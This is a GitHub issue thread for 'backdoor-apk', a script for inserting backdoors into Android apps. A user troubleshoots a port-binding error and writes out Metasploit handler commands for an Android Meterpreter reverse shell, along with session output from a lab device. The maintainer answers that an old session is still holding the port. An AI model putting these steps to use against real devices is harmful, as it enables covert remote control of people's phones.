dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.17k stars 699 forks source link

Error with meterpreter #101

Closed 0x98364 closed 7 years ago

0x98364 commented 7 years ago

Hello,

Before all, awesome work. Im doing a entry for mi blog and i get this error in msf:

[-] Handler failed to bind to 192.168.197.129:7777:- - [-] Handler failed to bind to 0.0.0.0:7777:- - [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:7777).

I execute this in msf:

use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 192.168.197.129 set LPORT 7777 set ExitOnSession false exploit -j -z

Im getting nice connection btw from the android terminal

[] Sending stage (63194 bytes) to 192.168.197.1 [] Meterpreter session 1 opened (192.168.197.129:7777 -> 192.168.197.1:2427) at 2017-03-30 20:28:19 +0200

But i dont know who im doing bad.

Thank your for the help. Regards.

dana-at-cp commented 7 years ago

@durkh3im When you see something like this:

[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:7777).

Generally, that means you have something leftover that is already binding to that port.

Make sure you are closing your older Meterpreter sessions.